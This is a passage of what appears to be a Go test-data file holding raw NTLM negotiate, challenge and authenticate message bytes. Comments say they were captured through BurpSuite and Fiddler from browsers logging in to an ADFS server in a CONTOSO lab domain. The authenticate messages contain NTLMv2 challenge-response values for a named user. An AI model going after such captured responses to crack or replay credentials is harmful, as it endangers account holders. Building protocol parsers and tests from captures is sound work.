		0xca, 0x84, 0xb8, 0xf4, 0x60, 0x1e, 0x41, 0x76, 0x07, 0xad, 0xb4, 0x0c, 0xc0, 0x24, 0xda, 0xba,
		0x9c, 0xd6, 0xb6, 0x78, 0x3e, 0x0b, 0x95, 0xb6, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x80, 0x2f, 0x00, 0xbf, 0xe4, 0x72, 0xd8, 0x01, 0xe8, 0x70, 0x53, 0xc9, 0x95, 0x4d, 0x90, 0xa1,
		0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
		0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00,
		0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00,
		0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00,
		0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,
		0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00,
		0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00,
		0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,
		0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00,
		0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
		0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00,
		0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x61, 0x4d, 0x05, 0xbf, 0xe4, 0x72, 0xd8, 0x01, 0x00, 0x00,
		0x00, 0x00,
	}

	// SampleB was captured from a system running on Google Chrome on MacOS authenticating to an ADFS server
	// running on Windows Server 2019 with BurpSuite proxying the requests

	NegotiateMessageBytesSampleB = []byte{
		0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00,
	}

	ChallengeMessageBytesSampleB = []byte{
		0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x0e, 0x00,
		0x38, 0x00, 0x00, 0x00, 0x05, 0x82, 0x89, 0x02, 0x70, 0x6c, 0xb3, 0x29, 0xc0, 0xb6, 0xfe, 0x76,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbe, 0x00, 0xbe, 0x00, 0x46, 0x00, 0x00, 0x00,
		0x0a, 0x00, 0x63, 0x45, 0x00, 0x00, 0x00, 0x0f, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
		0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,
		0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00,
		0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00,
		0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00,
		0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00,
		0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00,
		0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00,
		0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00,
		0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,
		0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,
		0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00,
		0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x3f, 0x8e, 0xe3, 0x1c, 0xe3, 0x72, 0xd8, 0x01,
		0x00, 0x00, 0x00, 0x00,
	}

	AuthenticateMessageBytesSampleB = []byte{
		0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00,
		0x58, 0x00, 0x00, 0x00, 0x4c, 0x01, 0x4c, 0x01, 0x70, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x1a, 0x00,
		0xbc, 0x01, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0xd6, 0x01, 0x00, 0x00, 0x3a, 0x00, 0x3a, 0x00,
		0xe6, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 0x05, 0x82, 0x08, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x9c, 0x8c, 0xc2, 0x87, 0x0f, 0xb7, 0xd4, 0xf4,
		0x86, 0xc2, 0x13, 0xf3, 0xbe, 0x8d, 0x31, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x8f, 0x28, 0x06, 0xc4, 0xa5, 0x0b, 0x2d, 0xc9, 0xec, 0x1f, 0xca, 0xce, 0x3e, 0x20, 0x6b, 0x55,
		0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3f, 0x8e, 0xe3, 0x1c, 0xe3, 0x72, 0xd8, 0x01,
		0x5f, 0x27, 0x0f, 0x43, 0x1a, 0x57, 0x8f, 0x15, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x0e, 0x00,
		0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00,
		0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00,
		0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00,
		0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00,
		0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00,
		0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00,
		0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00,
		0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00,
		0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00,
		0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00,
		0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x3f, 0x8e,
		0xe3, 0x1c, 0xe3, 0x72, 0xd8, 0x01, 0x06, 0x00, 0x04, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0a, 0x00,
		0x10, 0x00, 0x63, 0x2e, 0xc8, 0xcc, 0x4f, 0xfa, 0xd9, 0xd4, 0x9d, 0xa0, 0x63, 0xe2, 0x71, 0xa1,
		0x25, 0x9c, 0x09, 0x00, 0x3e, 0x00, 0x48, 0x00, 0x54, 0x00, 0x54, 0x00, 0x50, 0x00, 0x2f, 0x00,
		0x73, 0x00, 0x74, 0x00, 0x73, 0x00, 0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x74, 0x00,
		0x6f, 0x00, 0x73, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x70, 0x00, 0x6f, 0x00,
		0x72, 0x00, 0x61, 0x00, 0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x2e, 0x00, 0x63, 0x00,
		0x6f, 0x00, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x43, 0x00, 0x4f, 0x00,
		0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,
		0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x41, 0x00, 0x43, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x73, 0x00,
		0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x70, 0x00, 0x72, 0x00, 0x61, 0x00, 0x65, 0x00, 0x74, 0x00,
		0x6f, 0x00, 0x72, 0x00, 0x69, 0x00, 0x61, 0x00, 0x6e, 0x00, 0x2d, 0x00, 0x61, 0x00, 0x73, 0x00,
		0x6d, 0x00, 0x2d, 0x00, 0x70, 0x00, 0x6c, 0x00, 0x61, 0x00, 0x74, 0x00, 0x66, 0x00, 0x6f, 0x00,
		0x72, 0x00, 0x6d, 0x00, 0x2e, 0x00, 0x6c, 0x00, 0x6f, 0x00, 0x63, 0x00, 0x61, 0x00, 0x6c, 0x00,
	}

	// SampleC was collected from a Windows 10 client running Google Chrome authenticating to an ADFS
	// server running on Windows Server 2019 with BurpSuite proxying the requests

	NegotiateMessageBytesSampleC = []byte{
		0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x97, 0x82, 0x08, 0xe2,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f,
	}

	ChallengeMessageBytesSampleC = []byte{
		0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x02, 0x00, 0x00, 0x00, 0x0e, 0x00, 0x0e, 0x00,
		0x38, 0x00, 0x00, 0x00, 0x15, 0x82, 0x89, 0xe2, 0x8a, 0xbb, 0xb6, 0x84, 0x7e, 0x27, 0x76, 0xb4,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xbe, 0x00, 0xbe, 0x00, 0x46, 0x00, 0x00, 0x00,
		0x0a, 0x00, 0x63, 0x45, 0x00, 0x00, 0x00, 0x0f, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
		0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,
		0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00,
		0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00,
		0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00,
		0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00,
		0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00,
		0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00,
		0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00,
		0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,
		0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,
		0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00,
		0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x89, 0x5f, 0x6d, 0x5c, 0xc8, 0x72, 0xd8, 0x01,
		0x00, 0x00, 0x00, 0x00,
	}

	AuthenticateMessageBytesSampleC = []byte{
		0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00, 0x18, 0x00, 0x18, 0x00,
		0xa0, 0x00, 0x00, 0x00, 0x80, 0x01, 0x80, 0x01, 0xb8, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x1a, 0x00,
		0x58, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x72, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x1e, 0x00,
		0x82, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x38, 0x02, 0x00, 0x00, 0x15, 0x82, 0x88, 0xe2,
		0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f, 0xa9, 0xf5, 0x3b, 0x37, 0xbf, 0xc9, 0x49, 0x75,
		0x5f, 0x21, 0xd2, 0xaf, 0x94, 0x8b, 0xdc, 0x42, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
		0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00,
		0x4c, 0x00, 0x41, 0x00, 0x43, 0x00, 0x72, 0x00, 0x6f, 0x00, 0x73, 0x00, 0x73, 0x00, 0x65, 0x00,
		0x72, 0x00, 0x44, 0x00, 0x45, 0x00, 0x53, 0x00, 0x4b, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x50, 0x00,
		0x2d, 0x00, 0x4e, 0x00, 0x49, 0x00, 0x44, 0x00, 0x34, 0x00, 0x34, 0x00, 0x35, 0x00, 0x4d, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0xeb, 0x30, 0x1f, 0xab, 0x4f, 0x37, 0x4d,
		0x79, 0x59, 0x28, 0x73, 0x38, 0x51, 0x19, 0x3b, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x89, 0x5f, 0x6d, 0x5c, 0xc8, 0x72, 0xd8, 0x01, 0xc9, 0x74, 0x65, 0x45, 0xb9, 0xdd, 0xf7, 0x35,
		0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
		0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00,
		0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00,
		0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00,
		0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,
		0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00,
		0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00,
		0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,
		0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00,
		0x41, 0x00, 0x4c, 0x00, 0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
		0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00,
		0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x89, 0x5f, 0x6d, 0x5c, 0xc8, 0x72, 0xd8, 0x01, 0x06, 0x00,
		0x04, 0x00, 0x02, 0x00, 0x00, 0x00, 0x08, 0x00, 0x30, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x14, 0x1a, 0x38, 0x76, 0xf8, 0x9c,
		0x6e, 0x45, 0xd8, 0x92, 0xf5, 0xb4, 0x0e, 0x64, 0x2f, 0xe9, 0xca, 0x41, 0x72, 0x52, 0x24, 0xb0,
		0xd6, 0x96, 0x37, 0x81, 0xbf, 0xef, 0xd7, 0x94, 0xf5, 0xe9, 0x0a, 0x00, 0x10, 0x00, 0xe3, 0x7e,
		0x10, 0x35, 0xd8, 0x9e, 0x56, 0xb4, 0x6e, 0x3a, 0x70, 0x03, 0xc8, 0x1f, 0x54, 0x48, 0x09, 0x00,
		0x3e, 0x00, 0x48, 0x00, 0x54, 0x00, 0x54, 0x00, 0x50, 0x00, 0x2f, 0x00, 0x73, 0x00, 0x74, 0x00,
		0x73, 0x00, 0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x74, 0x00, 0x6f, 0x00, 0x73, 0x00,
		0x6f, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x70, 0x00, 0x6f, 0x00, 0x72, 0x00, 0x61, 0x00,
		0x74, 0x00, 0x69, 0x00, 0x6f, 0x00, 0x6e, 0x00, 0x2e, 0x00, 0x63, 0x00, 0x6f, 0x00, 0x6d, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xa0, 0xd7, 0xa2, 0x6d, 0x26, 0xeb, 0x99, 0x27,
		0xb7, 0x53, 0x5e, 0x64, 0x5d, 0x59, 0xc7, 0x14,
	}

	// SampleD was collected from a Windows 10 system running Microsoft Edge in Internet Explorer mode
	// with Fiddler being leveraged to intercept TLS traffic sent by the client.

	NegotiateMessageBytesSampleD = []byte{
		0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00,
		0x97, 0x82, 0x08, 0xe2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0a, 0x00, 0x61, 0x4a,
		0x00, 0x00, 0x00, 0x0,
	}

	ChallengeMessageBytesSampleD = []byte{
		0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x02, 0x00, 0x00, 0x00,
		0x0e, 0x00, 0x0e, 0x00, 0x38, 0x00, 0x00, 0x00, 0x15, 0x82, 0x89, 0xe2,
		0xe3, 0x52, 0x63, 0x2b, 0x6f, 0xae, 0xd1, 0xf5, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0xbe, 0x00, 0xbe, 0x00, 0x46, 0x00, 0x00, 0x00,
		0x0a, 0x00, 0x63, 0x45, 0x00, 0x00, 0x00, 0x0f, 0x43, 0x00, 0x4f, 0x00,
		0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x02, 0x00,
		0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00,
		0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00, 0x49, 0x00,
		0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00, 0x55, 0x00,
		0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00, 0x38, 0x00,
		0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00,
		0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00,
		0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00, 0x3a, 0x00,
		0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00,
		0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00,
		0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00, 0x4f, 0x00,
		0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00,
		0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x05, 0x00,
		0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00,
		0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00,
		0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x8b, 0x91, 0x85, 0xe8,
		0xf7, 0x72, 0xd8, 0x01, 0x00, 0x00, 0x00, 0x00,
	}

	AuthenticateMessageBytesSampleD = []byte{
		0x4e, 0x54, 0x4c, 0x4d, 0x53, 0x53, 0x50, 0x00, 0x03, 0x00, 0x00, 0x00,
		0x18, 0x00, 0x18, 0x00, 0xa0, 0x00, 0x00, 0x00, 0x80, 0x01, 0x80, 0x01,
		0xb8, 0x00, 0x00, 0x00, 0x1a, 0x00, 0x1a, 0x00, 0x58, 0x00, 0x00, 0x00,
		0x10, 0x00, 0x10, 0x00, 0x72, 0x00, 0x00, 0x00, 0x1e, 0x00, 0x1e, 0x00,
		0x82, 0x00, 0x00, 0x00, 0x10, 0x00, 0x10, 0x00, 0x38, 0x02, 0x00, 0x00,
		0x15, 0x82, 0x88, 0xe2, 0x0a, 0x00, 0x61, 0x4a, 0x00, 0x00, 0x00, 0x0f,
		0xec, 0x52, 0xec, 0x01, 0xff, 0x08, 0x19, 0xd5, 0xca, 0x96, 0xc8, 0x42,
		0xb3, 0xe8, 0x75, 0xb6, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
		0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,
		0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x41, 0x00, 0x43, 0x00, 0x72, 0x00,
		0x6f, 0x00, 0x73, 0x00, 0x73, 0x00, 0x65, 0x00, 0x72, 0x00, 0x44, 0x00,
		0x45, 0x00, 0x53, 0x00, 0x4b, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x50, 0x00,
		0x2d, 0x00, 0x4e, 0x00, 0x49, 0x00, 0x44, 0x00, 0x34, 0x00, 0x34, 0x00,
		0x35, 0x00, 0x4d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x62, 0x4e, 0xef, 0x9e, 0xf2, 0x90, 0x71, 0x08,
		0xf4, 0x67, 0x7e, 0x42, 0x7a, 0x89, 0xee, 0x2e, 0x01, 0x01, 0x00, 0x00,
		0x00, 0x00, 0x00, 0x00, 0x8b, 0x91, 0x85, 0xe8, 0xf7, 0x72, 0xd8, 0x01,
		0xaf, 0xd2, 0xa4, 0xbb, 0xe2, 0x24, 0x31, 0x66, 0x00, 0x00, 0x00, 0x00,
		0x02, 0x00, 0x0e, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
		0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x01, 0x00, 0x1e, 0x00, 0x57, 0x00,
		0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00, 0x43, 0x00, 0x47, 0x00,
		0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00, 0x4f, 0x00, 0x30, 0x00,
		0x38, 0x00, 0x34, 0x00, 0x04, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00,
		0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00,
		0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x03, 0x00,
		0x3a, 0x00, 0x57, 0x00, 0x49, 0x00, 0x4e, 0x00, 0x2d, 0x00, 0x46, 0x00,
		0x43, 0x00, 0x47, 0x00, 0x55, 0x00, 0x34, 0x00, 0x47, 0x00, 0x48, 0x00,
		0x4f, 0x00, 0x30, 0x00, 0x38, 0x00, 0x34, 0x00, 0x2e, 0x00, 0x43, 0x00,
		0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00, 0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00,
		0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00, 0x43, 0x00, 0x41, 0x00, 0x4c, 0x00,
		0x05, 0x00, 0x1a, 0x00, 0x43, 0x00, 0x4f, 0x00, 0x4e, 0x00, 0x54, 0x00,
		0x4f, 0x00, 0x53, 0x00, 0x4f, 0x00, 0x2e, 0x00, 0x4c, 0x00, 0x4f, 0x00,
		0x43, 0x00, 0x41, 0x00, 0x4c, 0x00, 0x07, 0x00, 0x08, 0x00, 0x8b, 0x91,
		0x85, 0xe8, 0xf7, 0x72, 0xd8, 0x01, 0x06, 0x00, 0x04, 0x00, 0x02, 0x00,
		0x00, 0x00, 0x08, 0x00, 0x30, 0x00, 0x30, 0x00, 0x00, 0x00, 0x00, 0x00,
		0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x14, 0x1a,
		0x38, 0x76, 0xf8, 0x9c, 0x6e, 0x45, 0xd8, 0x92, 0xf5, 0xb4, 0x0e, 0x64,
		0x2f, 0xe9, 0xca, 0x41, 0x72, 0x52, 0x24, 0xb0, 0xd6, 0x96, 0x37, 0x81,
		0xbf, 0xef, 0xd7, 0x94, 0xf5, 0xe9, 0x0a, 0x00, 0x10, 0x00, 0x34, 0xb4,
